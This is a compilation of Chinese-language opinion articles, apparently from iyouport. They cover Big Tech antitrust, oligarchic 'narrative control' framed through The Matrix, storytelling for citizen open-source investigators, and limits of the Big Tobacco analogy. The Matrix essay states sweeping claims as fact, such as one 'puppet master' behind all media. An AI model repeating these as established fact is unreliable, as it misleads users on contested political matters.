来自罗德岛的美国民主党代表、众议院反垄断小组委员会主席 David Cicilline 最近结束了对科技巨头公司长达16个月的出色调查，收集了超过100万份文件，采访了数百名专家，并召集亚马逊、苹果、Facebook 和谷歌的首席执行官在国会作证。

由此产生的报告呼吁对科技巨头公司进行“结构性分离”，或者说拆分；对具有巨大网络效应的公司实行非歧视制度（一种公共事业监管的形式）；推翻有害的法院判决；以及执行现有法律打击滥用行为 —— 这一监管议程很容易扩展到科技巨头之外。

同样重要的是，报告将垄断权力框定为不平等的根源和对民主的威胁。”美国的民主一直在与垄断权力作斗争”，Cicilline 在去年7月的一次委员会听证会上说。他指出，科技巨头平台就像镀金时代的信托

公司一样，“享有挑选赢家和输家的权力，动摇小企业的地位，在扼杀竞争者的同时使自己富裕起来。他们支配条款、发号施令、颠覆整个行业、如同一个私人政府的权力。”

反垄断有可能弥合过去十年来瘫痪美国政治的党派分歧。最近的民调显示，共和党人对反托拉斯的支持率很高。而一些共和党国会议员踊跃参加了 Cicilline 的调查。最后，他们单独发布了一份报告，大多同意民主党多数派报告的诊断，但对其药方不再认可。

大多数共和党领导人除了使用民粹主义的语言外，几乎没有什么作为；没有人站出来支持反垄断行动。然而，如果他们的选民更加关注这一问题，这种情况可能会发生变化。

阻碍新的民粹主义-进步主义反垄断运动的将是精英政客及其深藏不露的大公司支持者。

另一个障碍将是当代进步人士中的一种渐进主义倾向。而财富和权力的过度集中并不是一个孤立的问题，无法通过适度的改革来解决，它就是当代美国的操作系统，需要全面改写。

自下而上的愤怒和对更多民主的渴求可以克服这些障碍—— 但前提是今天的活动家们要避免镀金时代改革者抛弃黑人盟友的错误。

📌 今天的民粹主义进步人士不应该尽量减少集中的财富和种族不公正之间的联系—— 他们应该突出这种联系，并培养一个广泛的、多种族的联盟。如果他们做不到这一点，他们对今天的强盗大亨赢得的任何胜利都将被证明是空洞的，民主事业将再次倒退。○

Monopoly Versus Democracy

原文

如何从Matrix中醒来？ - iyouport

社会运动和公民社会

【2020年3月4日存档】只要他们能控制叙述，他们就能控制你的想法；只要他们能控制你的想法，他们就能控制整个世界 …… 为此，他们构建了一个Matrix

---

在电影《黑客帝国》中，人类生活在反乌托邦时代，被强大的系统囚禁在虚拟世界中。

他们一生都在虚拟仿真中生活，而没有任何方式能知道自己感觉到的东西实际上只是由人为编造的代码构成的。

当前社会的生活几乎与此完全一样。

唯一有所不同的是，让我们在 “Matrix” 中熟睡的是疯狂的寡头权势，而不是AI。而且它不是代码构成的，而是叙述。

- 《全球政权如何利用技术和贫困奴役人民？暴政背后的黑手》

社会是由叙述构成的，就像 Matrix 是由代码构成的。身份、语言、礼节、社会角色、见解、意识形态、宗教、种族、哲学、议程、规则、法律、金钱、经济学、工作、等级制度、政治、政府 ……它们都是纯粹的精神建构，都是强加于头脑中的精神噪音构成的。

如果我要你指出自己的膝盖，你可以迅速准确地做到；但是，如果我要你指出经济，最接近的可能只是使用一堆语言符号来指向一组概念。为了向我展示经济状况，您必须给我讲一个故事—那就是叙述。

任何曾经经历过片刻精神平静的人都知道，这些都不是您当前实际经验的一部分。

在您的经历中，没有精神、话题、语言、礼节、社会角色、见解、意识形态、宗教、种族、哲学、议程、规则、法律、金钱、经济学、工作、等级制度、政治或政府，没有关于这些东西的喋喋不休。

你摸不到它们的真实形状，你能感觉到的仅仅是关于“它们是什么”的叙述。

甚至找不到一个“你”，因为事实证明它也是由叙述构成的。

没有心理叙事，没有经历，唯有感觉上的印象出现在没有清晰形状或边界的对象身上。

那种视觉和听觉区域的经历、空气进入和离开呼吸系统的感觉，脚在地面上或椅子上的感觉，那或多或少是总的生活减去叙述所得到的东西。它就是现实。

但是，当您加入精神上的喋喋不休时，所有这些现实都不会再能引起关注。

视觉和听觉领域中的外观突然被划分、并用语言标记，并且对它们的关注仅仅取决于威胁或满足各种议程的人。

你经过了数天、数周、数月或数年的时间，都没有真正注意到呼吸系统或脚在地面上的感觉，因为你的兴趣和注意力完全被吸引到了纯粹是由叙述组成的虚假世界中。

“我足够好吗？我做对了吗？我需要确保完成了所有项目……如果我先做一件事，从长远来看可能会节省一些时间吗？如果我能得到自己想要的东西并实现重要目标，我会感觉很好吗？……税单要到期了。电视上有什么？哦，那些白痴，他们怎么还有脸活着？天哪，我等不及周末了 ……我希望从现在开始一切都按计划进行 ……”

不断地，不断地。几乎所有的精神能量都进入到这些心理叙事中。

是它们在统治着我们生活的一切。⚠出于这个原因，能够控制这些叙述的人就可以控制我们。

他们已经做到了。

大多数人都会试图对周围的人施加某种程度的控制。

他们试图通过某种行为和言语来影响家庭家人、社会和就业圈子中其他人的想法。

你的父母长辈以他们自己的经历告诉你如何才能做到 “聪明/才干”，你听到的 “这个世界” 完全是你父亲的心理活动；浪漫的伴侣将被说

服他们永远不会分手，因为没有其他人会爱上他们 ……

他们都在不同程度上操纵着个人的叙述。

然后有人发现他们实际上可以发挥自己的能力来影响人们对自己和世界的看法，并将其转化为他们自己的个人利益。

邪教领袖说服追随者为他们服务，终其一生，任劳任怨；

广告商说服消费者相信他们自己有一个问题或不足，只有使用“这个令人兴奋的新产品”才能解决；

雄心勃勃的办公室政治玩家通过在合适的人中赢得青睐并对与之竞争的同伴使用隐秘的破坏行为来攀登公司晋升的阶梯；

记者们知道如何通过推进叙事方式以令他们自己在事业上进一步发展，而此叙事方式必然必需是有利于拥有大型媒体公司的富豪们建立王国的基础……

他们操纵着群体的叙述。

然后就是寡头。最主要的操纵者。

这些现代世界的寡头统治者迅速学到了自文明诞生以来每个统治者都知道的秘密：⚠只要你能控制住一个社会的人们相信某种叙述，你就是那个社会必然的统治者。

身份、语言、礼节、社会角色、见解、意识形态、宗教、种族、哲学、议程、规则、法律、金钱、经济学、工作、等级制度、政治、政府：所有心理结构只会在一定程度上影响社会的信任并获得绝大多数群体的认同。

⚠如果你能对人们所相信的那些心理构造的事物产生影响，那么你就能对社会产生影响。你就能统治它。

寡头操纵整个社会的叙述。

这就是为什么在整个人类历史中都存在焚书、异端被烧死、嘲笑皇帝的人被斩首：与主要的叙述不同的观念是关于权力是什么、金钱如何运作、应该由谁负责等等，正是这些 —— 而不是斥责辱骂 —— 在威胁着统治者的权力。

无论何时何地，在任何王国中，人民都可以决定将国王脑袋上的王冠取下来，然后将其放在任何普通乞丐的头上，并将其视为新国王。而且这个乞丐将以各种有意义的方式成为新国王。

唯一能阻止这种情况发生的原因是：当时全社会所信仰的占主导地位的叙述，涉及神圣权力、忠诚、效忠、高尚的血统 等等。将王冠戴在国王头上的唯一支撑就是叙述。

今天，完全一样的事仍然存在。唯一改变的是公众被灌输的叙述。

人们从学校里、从电视上、从互联网上、从报纸上 ……读到的那些叙述。

人们认为，完全独立于政府的经济是一种行为，其行为取决于消费者的供求关系。但实际上，经济、商业和政府完全由精英阶层的富豪控制，他们也恰好拥有媒体公司，这些媒体公司将有关世界是什么的叙述传播到每个人的屏幕上。

控制经济和商业的叙述，然后控制经济和商业本身。控制关于政治和社会的叙述，然后控制政治和社会。

控制者不断将资源分配给寡头，通过这种方式，有效地将社会变成了一个精英阶层的巨型能源农场。

但是，依旧有可能从 Matrix 中醒来。

这并不容易，而且不会在一夜之间发生。这需要长期的工作。内部工作。和承认被骗的谦卑。

没有人喜欢承认自己被骗了，而我们所有人被欺骗的深度和广度是如此的惊人，以至于很可能会认为只要本地一个独裁者倒台自己就能“自由了”。

支持特朗普的人认为自己“看得清楚”，因为他们能看到贸易战可以威胁到中国经济；而支持北京的人认为自己“看得清楚”，因为他们能看到特朗普政府的重商主义和霸道 …… 然而这只是一场让全世界都输掉的战争，中美政府是唯一的赢家，无所谓你支持谁；

- 《华为之战的虚伪：技术的巴尔干化》

就如主流的美国自由主义者认为他们“看得清楚”，因为他们可以看到福克斯和特朗普拉扯的宣传矩阵；而主流保守派也认为自己“看得清

楚”，因为他们可以看到MSNBC和民主党人勾结的叙述操纵 …… 但两者都可以追溯到同一个木偶大师。

看到这一步仅仅是个开始。

- 《全球政权如何利用技术和贫困奴役人民？暴政背后的黑手》

但走出 Matrix 依旧是可能的。了解您和您认识的每个人在多大程度上被强大的权势人为编程为社会意识的想法所束缚。

不仅在成年生活中，而且自从父母开始教我们如何说话、思考和与世界建立联系以来；不仅在现代世界中，而且还可以追溯古老的曾经，国王和皇后提倡维护社会结构和宗教权力的信仰系统 ……

所有这一切都是为了让所有人对异议免疫，不仅是异议的言论、还包括异议的想法 —— 循规蹈矩的意思就是行尸走肉。

掌权者为了他们的利益塑造了整个社会，要控制住这个社会他们就必须控制住我们所有人以及我们头脑中的所有思想。

自出生开始每个人天然的人格结构已经被过滤掉了并被塑造了，这是为了满足塑造者的利益 —— 而你被告知 “这是为了你好”。

因此，逃离 Matrix 必然意味着要成就一个新生。在 Matrix 中形成的所有观念、心理习惯和与世界相关的方式，仅在那其中有用。

为了与构成社会基本要素的权力叙述之外的生活重新产生联系，您必须为自己创建一个全新的操作系统，以便独立于旨在让您保持睡眠状态的旧程序，并拿回掌控权。

所以这可能很辛苦。一路上您会犯很多错误，就像重新开始学走路一样。但是，最终，您将无需再任何人进行的编程。

然后，您就可以战斗了。

因为在此过程中的某个时刻，您必然会听到内心深处发出的声音。那个声音告诉你，不仅是寡头操纵者值得愤怒，对所有形式的操纵都应该愤怒。

反对以任何程度操纵他人的人。当眼睛变得敏锐时，操纵的伎俩就像落在白纸上的黑色苍蝇一样引人注目，您的整个系统除了排斥和抵制之外没有其他反应。

这样你就可以开始创作了。从此排斥掉任何试图强行让你认为自己是什么样的人的那些家伙 —— 他们想把你重新拉回 Matrix。

要小心。他们会不断尝试将你拉回去。由于我们的叙述与其他人的叙述如此交织和相互依存，并且与我们的自我意识密不可分；因此，你对 Matrix 的拒绝有可能对您的许多朋友和挚爱构成威胁。

你会发现与他们越来越疏远。但不要怕，因为，

- 《你是在有史以来最重要的战斗中战斗》

只要保持清晰的眼光你就不会被情感所误导，不会再次上当。

然后，您想要做的就是拆除那个 Matrix，并将其控制器置于无关紧要的位置。

您将着手以任何可能的方式推倒他们在您的同伴周围建立的操纵牢笼，如果需要的话一个接一个地推倒它们；因为您从自己的经验中知道，我们都有能力让宣传齿轮生锈，让操纵者惊慌失措。

操纵者会反击、会尽一切可能抹黑你，称你为“阴谋论者”、“谣言”，试图让你保持沉默；他们会调用他们所拥有的所有媒体针对您发起抹黑运动，但由于您的眼睛是清晰的，所以这些都不会对你起作用。

是的，他们只有这一种武器，而对您不起作用。

- 《人格暗杀和抹黑运动：谁在受益？》

您将开始使用自己拥有的一切技能，从谎言工厂唤醒更多的人，削弱对大众媒体宣传机器的信任，并开拓新的可能性。

而且，我们不仅会粉碎那些像毛毛虫一样吞噬我们的叙事，而且，还将为自己创造新的叙事，更好的叙事，更健康的叙事。彼此之间，关于世界如何以及我们想要什么。

这是事实：因为都是叙事，所以一切皆有可能。

与那些同样走出 Matrix 的人联合在一起，你们可以确定社会将如何发展；可以重写规则。它已经开始了。

从失败的宣传机器发出的白噪声中，诞生了一个新世界，一个尊重个人自主权和自决权的世界。

尊重我们进行大规模合作以创建美丽、健康、有用的系统的权利，而不会把一切精力都用来反驳那些顽固地宁愿被奴役的精神病态患者。

- “你永远不可能仅仅通过对抗现有的现实来改变这一切。要改变某些东西，你必须建立一个新的模型，使现有模型过时”——《预设性干预战术》

从恐惧所浸透的精神错乱的叙述中完全释放出来，让真实世界的真实美感充满您的感官。

当你准备好了，站起来。从此，真正开始。

方法在这里《摆脱操纵和宣传：28个长期技巧》〇

原文

如何讲述故事：开源情报研究初学者的指南 - iyouport

开源情报-每个人都可用的武器社会运动和公民社会

【2020年3月26日存档】不要指望媒体帮你获得影响力 —— 让公民掌握真相的事业就是要摆脱那些被金主操纵的职业媒体

许多公民开源调查人员都在依靠记者将调查报告转换为叙事的形式，然后将其传播给更广泛的受众。

然而，今天的新闻业正处于危机之中。

不论是美国还是中国，媒体都面临着自大萧条以来最糟糕的裁员 —— 而这正是公民调查人员填补传统媒体机构逐渐退位留下的空白的重要原因之一。

尤其是在中国那样的新闻环境中，作为公民调查人员您恐怕难以与任何一家职业媒体合作有意义的调查报告。

所以，公民调查人员必需能自己掌握讲述故事的技巧。

这听起来似乎令人生畏。不过，不要害怕。通过学习和利用一套非常特殊的技能，您也可以亲自使您的研究覆盖更广泛的受众 —— 甚至可以改变世界（相信我，这个世界已经发生了奇怪的事）。

那么如何做到这点？

请注意，本文不仅对公民调查人员是有意义的，对NGO组织和活动家同样很有意义，因为社会是故事构成的，擅长讲述故事的人将获得更多的注目。

有效的故事将能够把人们带入一个感知度更强烈的世界。讲故事是社会动员中激活人们热情的最有效方法之一。（这也是为什么专制国家努力阻止制独立电影和纪录片的发展，同时加强政权引导的叙事框

架）

接受您的弱项是讲述成功故事的第一步

「图」

许多公民调查人员认为，有效的叙事是小说作家才需要培养的技能。“我们处理事实，我们的工作与众不同！”

好吧，您的作品的确“是”不同的，但是，类似的叙述原理也完全适用于它。

因为，如果您不知道如何正确地呈现事实，就可能会混淆事实，您的调查工作就会因此被大打折扣。

开源研究始于线程。随着各个线程的分解，使叙述尽可能清晰，信息丰富和可读性高是确保您的工作产生影响的唯一方法。

相信自己

「图」

很多人的认识就像您需要MFA或新闻学硕士才能理解和创造叙事，无论是非虚构还是虚构。

但事实并非如此，这与学历无关。您越早意识到这一点，您的工作就会越轻松。

作为公民调查人员，您应该认识到讲故事是一项公共利益，您的工作正在满足公民知情权、弥补职业媒体不能提供的民主价值，这就是为什么您的工作很重要。

相信自己，相信您的调查工作对社会意义，您可以很好地将调查报告理解为一种可以学习和利用的手工艺品。

本文将一份曾经的两份开源情报调查为例《深层政治：Facebook金字塔的人形肌理》、以及《揭示肢解华盛顿邮报专栏作家的凶手》，解释您所需要的步骤。

但是我们必须说，对于讲述故事的技巧本身，另一份报告是更加具有参考价值的：《互联网霸主的时间线》—— 此案例尤其对活动家和公

民社会组织有价值；只因为它并非*开源*调查演示，而是透明度革命的第二步骤（第一步骤是揭露，）故本文没有引述它。

1、确定目标受众

最有可能对您的报告感兴趣的人是谁？您的报告中有哪些方面吸引了众多受众？您首先要确定这点。

通过问自己这些问题并在头脑中积极“吸引”读者，可以使您的工作更轻松，并激发自己做得更好。

许多开源情报研究人员在撰写调查报告时考虑的都是其他开源情报领域的同行。在某些情况下可能是完美的 —— 但并非全部。

如果您认为您的报告是有社会公益价值的 —— 比如挖掘水军幕后的黑手、比如揭露政府的谎言，那么您应该考虑更广泛的受众的阅读角度。

例如，《深层政治》报告，与以下方面直接相关：

- 监视资本主义寡头的研究者
- 反托拉斯立法者
- 商业领域的观察者
- 政治领域的观察者

但除此之外，该报告还与所有反社交媒体监视的活动家、劳工运动支持者、以及在 **deleteFacebook** 运动中感觉困惑的所有社交媒体用户有关。

这就是为什么调查报告会首先向读者介绍一些相关背景知识 —— 简单说，您需要陈述您开启这份调查的背景。

2、计划叙事

您小学时就已经学到：一个故事应该分为开始、中间和结尾。就您的调查报告而言，通常会有一个引言，一个中间部分来展示您的数据分析和资料来源、以及您的结论。

这听起来很容易，但是很多人会在此遇到一些陷阱，比如下面这样：

- 简介不足

当我说您的介绍不符合您的材料充分性时，可能意味着不同的意思。例如：

- 、导语中缺乏足够的背景信息；
  - 、简介内容如此之多，以至于拖累了读者并淹没了细节；
    - 、遗漏了那些将决定人们为什么需要继续阅读的关键细节（尤其是对于试图分析特定事件的背景信息的报告来说，例如 枪击事件、暗杀事件、或特定激进团体等等） 在这方面《揭示肢解华盛顿邮报专栏作家的凶手》报告是个好例子。

以上是公民调查人员必须注意的基本面。

- 中间过程杂乱无章

就如作家们经常告诫的那样，您需要有 “kill your darlings” 的勇气；也就是说，摆脱那些您自己最关心的，但不一定适合本次写作的内容 —— 简单说，收敛，这是一项非常重要的技能。

比如关于 Facebook 政治旋转门的报告，您也许还知道很多关于 Facebook 如何利用专利实施霸权的情报线索、或者该公司为什么丑闻缠身却每一次都能全身而退的原因，没错这些都是优秀的调查线索，但是它们与本报告无关 —— 于是它们应该在此被舍弃。

公民调查人员还必须学会对信息进行优先排序，以及如何以最恰当的方式呈现信息。

🌤同时，您必须学习展示自己的作品。如果您从陈述事实转变为得出结论，你就必须告诉读者其中的原因 —— 结论是如何得出的；尤其是在结论不那么明显的情况下。

陈述事实和分析事实不是一回事。

在 Facebook 政治旋转门报告中组织信息的方法很明显。首先通过确定哪些人员与本次分析密切相关、并细分它；

然后，在对每个人的描述之后附有其背景和行为/参与的具体证据；

像这样：

识别关键人物」」出示证据；

找出另一个关键人物」」出示证据；

《揭示肢解华盛顿邮报专栏作家的凶手》报告也一样，这里是一个目标人，围绕他关联并诠释各种线索。

想象一下，如果没有对信息进行分组和区分优先级，整体就会变得更加困难和混乱，对吧。

💡简单说，您的调查陈述需要有层次。

- 结论无法将调查过程联系在一起

这是公民调查人员经常犯的错误。

很多人认为结论是一种对 “太长没法看” 的解决方案；于是只需重述报告中说的内容，然后点击“保存”按钮即可。这是错误的。

💡实际上，结论是很有价值的“修辞不动产”，在这个地方您可以（如果合适的话）强调为什么您的发现很重要；或激发未来的研究人员进行更深入的研究；或呼吁更多事实；或情境化您的发现，等等。都是很好的选择。

如果您想激发和引导读者的兴趣，那么您就不应该让读者感到您只是想说 “整个事情都结束了”。

3、设置正确的口吻

如果您正在从事一个关于用可怕的空袭杀死平民的调查项目，那您必须收起幽默感。

另一方面，如果您正在调查可笑的互联网人物的阴暗交易，该怎么办？适当地讽刺可以帮助像这样的故事吸引更多的读者，并支持您主题的奇异性质。

💡使用幽默来记录他们的行为，可以帮助您的读者从叙事中发现更多。

4、学习有效地组织和呈现信息

您真的需要 “kill your darlings” 吗？有时，您不必杀死它们，而是让

它们为您更高效地工作。

以下是一些可以用于此目的的常用工具。

—— 为那些非常喜欢做研究工作的人创建一个较长的完整报告**PDF**版本，并将其链接发布到更简洁的版本旁边。

例如对《肢解华盛顿邮报专栏作家的凶手》的调查报告，网站上发布的不是完整版，而更详细的PDF版本的链接需要放在这篇文章的前面。

请记住，您的许多报告可能会有重叠的受众。有些人会愿意读完整的东西。其他人则不会。还有一些人可能目前想要较短的版本，但是随着您的研究越来越多，他们将想要深入了解研究调查的细节。

您需要周全考虑尽可能全面的受众面。

—— 尽可能使用表格，图表和视觉辅助工具。您是否正在对在特定城镇发现的军用车辆进行开源调查？是否有17名技术人员、2辆战车、3辆AAV？……将这些数字组织成图表，使您的读者更容易理解正在发生的事。

当调查所涉人员的各种等级结构很复杂时，图表就更加重要了。

《深层政治》报告是图表呈现的优秀案例 —— 让调查目标之间的关系变得非常清晰直观。

—— 标准化名称/标题/拼写。如果您要处理晦涩的主题，这一点尤其重要。

比如您的正文中使用了多个 “Mark Zuckerberg/Zuckerberg”，在您的图表中就不应该出现 “Mark” 这样的简化写法，以避免给一无所知的读者带来混乱。

—— 重新陈述您要描述的个人的姓名和称谓/等级。

您不能要求读者对一个陌生人的名字和身份特征一见如故，如果你的报告超过3页，就必修在第三页之后再次提及调查对象的全名和身份，否则有可能会给读者的理解带来混乱。

—— 遵守时间顺序规则。您会惊讶地发现及时在文本中来回走动是多么诱人。

例如您要详细说明个人A在第1、2和3天所做的事，然后还必须谈论个人B在第1天所做的事，那么请确保您的日期和时间保持清楚，就像电影中将穿插回忆的部分显示为黑白那样。

在这点上，对 Hacking Team 泄漏邮件的开源情报调查是一个很好的案例，它不仅在讲故事，还介绍了调查思路，有知识普及的价值。

—— 不要以为读者以同样的方式看待您的作品。您的读者没有走过您刚刚进行的调查的同一旅程。他们将需要被澄清，而您可能不需要。

📢所以，请以您的读者的角度安排您的文章。

大声朗读自己的作品

「图」

这是一个重要的习惯，尤其是在您刚刚接触写作时。

大声朗读能帮助您更容易发现报告中的错漏。当特定句子或段落没有多大意义或难以改进时，您会更容易发现这点。

这是您可以采取的简单而宝贵的步骤，可以改善您的写作。

请记住，仅仅发布是不够的

「图」

您必须相信自己的工作很重要。您必须关心您的读者 —— 即使您是为非常有针对性的读者而写的！

您必须以诚信对待工作。而且，您必须为自己设定一个高标准。

学习讲故事是一个过程。您可能已经学习了很长时间，而且还在不断进步。请记住这里没有完美，只要您有意愿做得更好，下一次肯定会加分。

本文只是基本指南。我们今后会视情况发布更加深入的指南，“情况”指的是，比如，中国社会出现了开源情报调查的专属社区，意味着人们对公民掌握真相的事业更加关注了。

好运。〇

原文

技术巨头不是烟草巨头，至少不仅仅是 - iyouport

监视资本主义的世界社会运动和公民社会

【2021年4月20日存档】当您抵制的人开始使用您为了抵制他们而提出的新建议和口号时，您应该反思自己的抵制战略是否真的有效。

【按】去年我们预测过，拜登政府不会真的对技术寡头动刀，但他有可能会做一些样子，尤其是，人们不应该被那些做样子的敷衍所蒙骗。反垄断作为最重要的政治议题之一，公民应该非常谨慎地避免错误的舆论引导。

本文所指出的一个舆论引导是近期出现的典型，它的影响很大，甚至已经进入了中文舆论。希望这篇文章能给人们一些提示。

去年12月，联邦贸易委员会（FTC）与四十多个州的总检察长一起宣布，他们将起诉 Facebook 的反竞争行为，他们指控的行为包括该公司此前对 Instagram 和 WhatsApp 的收购。

这些起诉是在众议院 Big Tech 小组委员会听证会和去年秋天早些时候宣布对谷歌进行类似的反垄断调查之后进行的。

在9月份的众议院听证会上，Facebook 前高管 Tim Kendall 发表了一篇演讲，唤起了可能是美国历史上最有力和最知名的反企业权力法律努力的幽灵：对烟草巨头公司的审判。

Kendall 在Netflix那个热门纪录片《社会困境》中作为重要人物出现，他在演讲中告诉国会："我们并没有简单地创造一些有用和有趣的东西。我们借鉴了当年烟草巨头公司的玩法，努力让我们的产品一开始就令人上瘾。"

【注：Netflix这部纪录片具有严重缺陷和误导性，甚至是危险的，在这里看到具体解释《技术的政治权力，和"社会困境"的缺陷：访谈》】

把科技巨头比作烟草巨头，不仅仅是 Kendall 在做这种比较，事实上它已经成为对硅谷展开的反垄断法律战的一个主要类比。纽约时报宣称，听证会是 “科技巨头的烟草巨头时刻”。CNBC 的 Kelly Evans 也是这样做的，但他同时至少指出了，尽管国会和首席执行官们之间发生了戏剧性的对抗，但是，科技巨头仍然保持着公众的知名度，而烟草巨头则不然。

对 Facebook 进行广泛的、多州调查的消息很可能会促使人们进一步将当今的科技巨头和历史上的烟草巨头进行比较。现在发生的事与《烟草总和解协议》(MSA)之间有一些令人信服的联系，该协议是1998年国会的高潮决定，给美国经济的一个珍贵产业带来了大规模的监管改革。

在一系列审判之后，上演了一场政府与企业权力的强大对抗，包括前内部人士的爆炸性证词，并提供了不仅在法院而且可以代表选民实现正义的潜力。

当然，当涉及到产品的成瘾性时，这种比较真正显示了它的优势，这种相似性在 Kendall 的证词中得到了凸显，并且由于《社会困境》那部误导性的纪录片和其他流行的对社交媒体平台的描述，这种相似性已经成为公众反对科技巨头的语话核心。

但是，虽然烟草巨头的类比显然说明了用户在 Facebook 这样的平台上所面临的渴望、强迫和痛苦的某些方面，但无论从历史的角度还是从政治的角度来看，这种比较都值得被重新审视。MSA及其周边的试验为我们提供了针对科技巨头的有用攻击线的见解，但是，这种比较也存在一些风险。虽然平台的日常成瘾性是有害的，但这些产品在我们的经济层面上设计的大规模依赖性才说明了真正的风险。

- 《隐性操控：社交媒体平台正在使用与赌博公司相同的技术只为让你上瘾》

1994年，巨头烟草公司的首席执行官们在国会面前作证说，他们认为尼古丁不会上瘾，因此遭到了广泛的嘲笑

MSA是之前几年混乱的法律斗争的结果。在此之前，这些公司的共同说法是，吸烟是个人责任问题：他们没有强迫任何人点烟。

故事是这样的：迈克·刘易斯（Mike Lewis）是密西西比州的一位小律师，在他的秘书的母亲因与烟草有关的癌症而奄奄一息时，他去医院看望她，这时他有了突破。他感到沮丧的是，至今没有任何办法让烟

草公司承担责任，他想出了一个主意，让起诉烟草公司的原告不是个人吸烟者，而是州政府，因为州政府要对医疗补助和其他医疗系统的费用负责。他们不是吸烟的人，所以“个人责任”的问题没有意义。

刘易斯把案子交给了密西西比州总检察长，也就是他在密西西比大学的朋友，他提出了诉讼，联合其他四十六个州、华盛顿特区、美属维京群岛和波多黎各的总检察长，然后向国会请愿，要求进行更广泛的解决 —— 这段故事与近期对 **Facebook** 提起的多州案件不谋而合。

当1998年11月23日最终达成和解时，四家公司 —— 菲利普·莫里斯烟草公司、R.J.雷诺兹烟草公司、布朗·威廉森烟草公司、和罗瑞拉德烟草公司同意在25年内向各州政府支付2060亿美元，这是美国历史上最大的民事诉讼和解。而且只要烟草销售的收入还在继续，和解金还将继续增长，每年的款项将永久地支付给各州。

该案改变了美国人对公共健康和企业渎职的理解，也改变了围绕广告的讨论，把对万宝路骆驼老乔和其他针对年轻人的宣传活动写进了明确的限制。

这个案子并不是仅仅以反垄断为由进行辩论的。但事实上，烟草业曾以垄断联盟的形式阻止开发更健康、更不容易上瘾的香烟，以及压制那些关于其产品对吸烟者危害的研究，是本案中反复出现的问题。以至于 Tim Kendall 最近的证词主要集中在香烟的有效性和成瘾性如何反映在科技产品中：

烟草公司最初只是想让尼古丁的效力更高。但最终，这并不足以让业务如他们所希望的那样快速增长。 于是他们在香烟中加入了糖和薄荷醇，这样你就可以将烟雾在肺部停留更长时间。在 *Facebook* 上 …… 我们添加了状态更新、照片标记和点赞，这使得状态和声誉对每个人来说变得更加重要，并为青少年的心理健康危机奠定了基础。

这种比较是很沉重的，虽然它阐述了社交媒体的经济模式和日常社会弊端之间的直接联系。但是，这种比较也不利于将问题拉回到消费者身上。近几十年来，美国反垄断行动之所以如此无效，部分原因就在于，至少在主流的解释中，价格和产品产出被视为衡量一家公司是否利用了不公平垄断权力的标准。

在科技巨头国会听证会期间，曾在幕后发挥关键作用的法律学者 Lina M. Khan 在其研究亚马逊反竞争行为的一篇颇具影响力的论文中，阐述了该平台给当前反垄断模式带来的问题。通过积极压低通过亚马逊销售的零售商的价格，该公司在很大程度上能够规避监管。

自从芝加哥学派经济学在20世纪70年代和80年代帮助重塑竞争法哲学以来，反垄断就受到了有效的阻碍，激发了保守派法律学者 Robert Bork 撰写了《反垄断悖论》。在里根时代，最高法院的裁决经常引用这篇文章，这篇文章实际上将竞争法从旧的镀金时代对付剥削性石油大亨的模式转变成了新自由主义的理解，即“低价格是有效市场的基础”。

正如 Khan 所写的那样，当涉及到监管巨头科技公司时，要争论的首要问题是消费者定价框架。“反垄断法现在评估竞争时主要考虑的是消费者的短期利益，而不是生产者或整个市场的健康状况。反垄断学说认为消费者享有的低价格本身就是良好竞争的证据”…… 简而言之，顾客永远是对的，这使得反垄断监管机构很难评估科技巨头的权力动态，或者说它外化到其他经济领域的负面影响。

毕竟，从 Uber 的廉价乘车到 AirBnB 的低价酒店，风险投资支持的模式实现对特定市场的垄断控制，都是建立在为消费者创造人为的有利条件上。Khan 的建议是研究技术实践本身是如何反竞争的，比如帮助谷歌优先处理自己的搜索结果的数据收集，苹果电子书市场的掠夺性定价，或者亚马逊的物流优势。

“成千上万的零售商和独立企业必须搭乘亚马逊的铁轨才能进入市场，他们越来越依赖于他们最大的竞争对手”，Khan 写道。

那么，**Kendall** 的比较的问题在于，它用烟草巨头公司的比喻来坚持对垄断力量的批判，这种批判取决于用户体验，而不是这些公司现在对**5**万亿美元的经济片区的控制。

谷歌的搜索引擎和亚马逊的云服务是这种控制权的两个直截了当的例子，但我们也可以想想 Facebook 向本地市场团体的转变，或者依靠 Instagram 接触客户的独立卖家的激增。这一点可能看起来很明显，但值得重复的是，谷歌、Facebook 和亚马逊这样的平台更像是基础设施或公用事业，而不是像香烟这样的娱乐商品。这些平台已经摄取了整个经济领域；相对于上瘾，它们在制造物质依赖性方面特别有效。而这种依赖性最终归结于权力，而不是技术效果，技术效果只是一种表象。

密歇根大学法学院教授 Daniel A. Crane 撰写了关于烟草立法的反托拉斯层面和MSA遗产的文章。他感兴趣的是反托拉斯法律框架如何继续与对作为公共健康风险的烟草巨头的监管发生冲突：针对烟草巨头公司的成功反托拉斯案件实际上导致了产品产量的增加和卷烟价格的下降，虽然这正是反托拉斯所要促进的，但这也直接违背了围绕烟草

的公共健康政策的目标。

Crane 指出，类似的动态也适用于酒精、枪支、赌博和色情制品。他的解决方案是将这些产品的 “净伤害” 效应作为反垄断框架的一部分来考虑，这样竞争法就不会妨碍其他形式的监管。

直截了当地说，就像 Crane 解释的那样：“如果反托拉斯执法打破了一个可卡因寡头联盟，增加了可卡因的产量，这还是一件好事吗？答案绝对是否定的”。Crane 说，对反托拉斯的主流解释将所有行业一视同仁，而他们应该考虑的是反托拉斯行动是在增加还是减少这些净伤害市场的破坏性影响。

当我们把净伤害作为一个类别来考虑时，很容易就能认识到科技巨头可能是如何符合要求的。但 Crane 对净伤害的解读也澄清了烟草巨头公司带来的一系列不同的问题。

科技巨头公司不是一个可卡因寡头联盟；至少，它 *不只是* 一个可卡因寡头联盟。虽然减少伤害可能提供了一个有用的接触点 —— 社交媒体成瘾是真实存在的，而且毫无疑问，它导致了青少年中较高的自杀率和自残率，但这个比喻对于解决经济实践和科技巨头的经济控制权高度集中的问题来说，它不起什么作用。

将论点建立在社交媒体平台固有的成瘾性或危害性上，是将它们自然化了—— 也就是说，认为某些技术将不可避免地让人上瘾，而不是说某些权力关系将这些技术朝着某一特定方向发展。这也开启了反论，即：“这些产品不一定会让人上瘾或有害”。

作为一种技术，谷歌的搜索栏既不会让人上瘾，也不会有害。与朋友分享照片的做法也不会有害。在那个纪录片《社交困境》中，前谷歌设计伦理学家 Tristan Harris 讲述了当他意识到没有人想要让 Gmail 不那么容易上瘾时，他如何想到科技行业 “迷失了方向”。

但即使 **Gmail**、**YouTube** 或 **Facebook** 摆脱了它们最明显的上瘾性，它们在很大程度上仍然是由剥削性的亿万富翁经营的不受监管的公司。

从科技公司内部解决成瘾问题的技术主义方案，对解决科技权力问题并没有什么作用。

